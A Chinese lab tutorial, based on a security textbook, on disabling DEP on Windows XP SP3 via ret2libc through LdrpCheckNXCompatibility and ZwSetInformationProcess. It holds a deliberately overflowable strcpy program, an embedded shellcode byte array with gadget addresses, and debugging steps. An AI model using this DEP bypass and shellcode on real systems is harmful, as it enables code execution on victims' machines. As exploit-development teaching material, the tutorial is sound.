0day2 挑战DEP,ret2libc利用ZwSetlnformationProcess详细实现
本文参考于 0day安全:软件漏洞分析技术(第2版)
此方法是利用ret2libc来关闭DEP
实验环境 windows xp sp3,vc6.0,仅开启dep,OD调试器;
代码如下:
// GS_Virtual.cpp : 定义控制台应用程序的入口点。
//
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x70\xE2\x92\x7C"//MOV EAX,1 RETN地址
"\x95\x8B\x1D\x5D"//修正EBP
"\x61\xf7\x80\x7C"//增大ESP
"\x37\x28\xd1\x7D"//jmp esp
"\x24\xBE\x93\x7C"//关闭DEP代码的起始位置
"\xE9\x33\xFF\xFF"
"\xFF\x90\x90\x90"
;
void test()
{
char tt[176];
strcpy(tt,shellcode);
}
int main()
{
HINSTANCE hInst = LoadLibrary("shell32.dll");
char temp[200];
test();
return 0;
}
代码中ret2libc调用的的相关命令地址在不同环境会发生变化,需要在调试时确定。
ZwSetInformationProcess利用条件与函数参数
思想:通过跳转到 ZwSetInformationProcess 函数将DEP关闭后再转入shellcode 执行。
函数参数:
ZwSetInformationProcess(
HANDLE ProcessHandle,
PROCESS_INFORMATION_CLASS ProcessInformationClass,
PVOID ProcessInformation,//将此参数后两位置为10时,即可关闭DEP
ULONG ProcessInformationLength
);
但是由于参数中含有0x00,在strcpy会被截断,因此不可直接调用此函数。
于是利用Windows检查兼容性函数LdrpCheckNXCompatibility检查SafeDisc来间接调用ZwSetInformationProcess关闭DEP。如图
核心是0x7C93CD24行代码,检查al是否等于1,如果等于1则执行关闭DEP的流程。
思路:由于DEP开启,堆栈不能直接写入,因此我们只需要在程序中找到mov al,1这条指令,然后跳转到这条指令即可。
实现过程
首先将用OD调试exe文件,并确定test()函数中strcpy()函数的位置。
然后调试至retn查看栈中信息。
确认到达溢出点。
retn后会发现ebp变为90909090,被shellcode覆盖,而后面函数LdrpCheckNXCompatibility的代码会向ebp-4处写入数据。如图
因此在关闭DEP前需要修复ebp,此处使用命令push esp,pop ebp,retn 4。
至此已可成功执行完关闭dep,但是却无法控制后续跳转进入shellcode。经过调试可以发现关闭DEP过程中,有压栈操作,由于esp在ebp高地址处,因此压栈时覆盖了ebp,导致返回时出现错误。
对此,我们可以在关闭DEP前利用retn N命令增大esp与ebp的距离,再利用jmp esp跳回。
至此,便可一路调试到shellcode结束。
参考
0day安全:软件漏洞分析技术(第2版)